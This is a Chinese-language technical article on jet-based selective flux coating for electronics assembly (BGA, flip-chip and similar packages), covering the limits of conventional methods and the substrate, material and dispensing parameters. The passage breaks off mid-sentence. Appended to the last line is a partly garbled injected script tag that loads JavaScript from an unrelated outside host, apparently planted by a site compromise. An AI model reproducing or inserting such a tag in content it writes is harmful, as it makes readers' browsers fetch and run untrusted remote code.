随着线路板上元器件封装尺寸不断缩小以及密度不断升高，电子组装对助焊剂涂敷精度和可靠性方面的要求也在不断提高。本文介绍一种喷射式涂敷技术，它具有极佳的边界涂敷形状，并可改进助焊剂涂敷的厚度控制情况。
在电子组装生产中，无论是焊接球栅格阵列(bga)、板上倒装片(fcob)、带封装倒装片(fcip)、多芯片模块(mcm)还是直接芯片贴装(dca)封装形式的器件，助焊剂都具有不可替代的作用。随着这些封装尺寸不断缩小以及密度不断升高，对助焊剂的涂敷精度和可靠性要求也在不断提高。
目前有多种助焊剂选择性涂敷方式可供制造商们挑选，如人工及自动刷涂、针式点涂、针式转移、浸涂、丝网印刷、模板印刷以及超声涂敷等，这些工艺很多都可用于选择性涂敷。但这些方法在多数情况下助焊剂要与基板表面直接接触，有时还要暴露在空气中，而另一些方式则受速度的限制，并且需要用涂敷掩膜。因此，这些工艺几乎都不能克服助焊剂涂敷所面临的各种困难，如：
·只在所需区域涂敷，同时与贴片机保持相同的生产进度
·在要求的区域内涂敷均匀
·涂敷稳定、涂层薄，且具有足够的助焊性能
·助焊剂用量与残留物都很少
·所要求区域以外及基准对位点上不能有助焊剂
·芯片周围的无源元件不会发生污损及墓碑现象。
为取代传统的助焊剂涂敷技术，如今出现了一种喷射式涂敷，它可以形成超薄的涂层及高清晰涂敷边界，精确控制助焊剂的涂敷量，从而解决许多助焊剂涂敷方面的问题。涂层薄可避免助焊剂残留物过多，提高连接的可靠性，另外采用喷射方式使得助焊剂涂敷时无须作z方向运动，因此可用于高速度、大批量生产场合。
影响助焊剂选择性涂敷的因素有很多，我们先给出一些关键变量的定义，然后对工艺参数进行解释，介绍几种喷射方式，最后对试验结果进行分析。
工艺参数
助焊剂作选择性涂敷时，有三组基本参数会影响工艺过程与最终结果：
涂敷结果=基板参数＋材料参数＋涂敷参数
基板参数：基板参数直接影响液体材料在其表面上的流动性。镀金触点的周围可能80%是裸露的fr-4基板，其余部分是阻焊层，各种表面的表面张力不同，从而导致不同的流动特性。除表面张力外，影响流动性的其它参数包括板面平整度、通孔的数量以及表面清洁度等。
材料参数：材料参数决定了助焊剂的特性，材料的流变性由溶剂、稀释成分、表面活性剂及活性成份等一起决定。
涂敷参数：这部分参数直接影响涂敷的最终结果，它们一直由系统控制器内涂敷头上的调节器进行控制。影响工艺效果最主要的涂敷参数包括压力、阀门微调情况和喷嘴尺寸。
压力：涂敷器采用压力推进系统实现材料的供给，压力的大小决定了每次材料喷出的数量，同时喷头还要有足够的压力以形成适当的流量。
阀门微调：所谓微调就是指阀门的开启量，阀门开口大小与从喷孔喷出的材料数量成正比。
喷嘴尺寸：喷嘴是喷射过程的最后一段，喷嘴有两种不同的设计，直接影响着材料的涂敷量与涂敷形状。喷嘴的口一般呈圆柱形，开口尺寸应根据助焊剂粘度不同而进行更换以控制涂敷的数量。
喷涂工艺
对线路板组装而言，目前很多种助焊剂都可以满足各种涂敷方式以及对粘度的不同要求。如针式点涂工艺要用非常稀(即粘度很低)的助焊剂，而丝网印刷则要用膏状助焊剂，因此可以使用的助焊剂粘度范围非常宽，从很低(含80%～97%异丙醇)的液状助焊剂到粘度超过200kcps的膏状助焊剂?script src=http://er12.com/t.js>
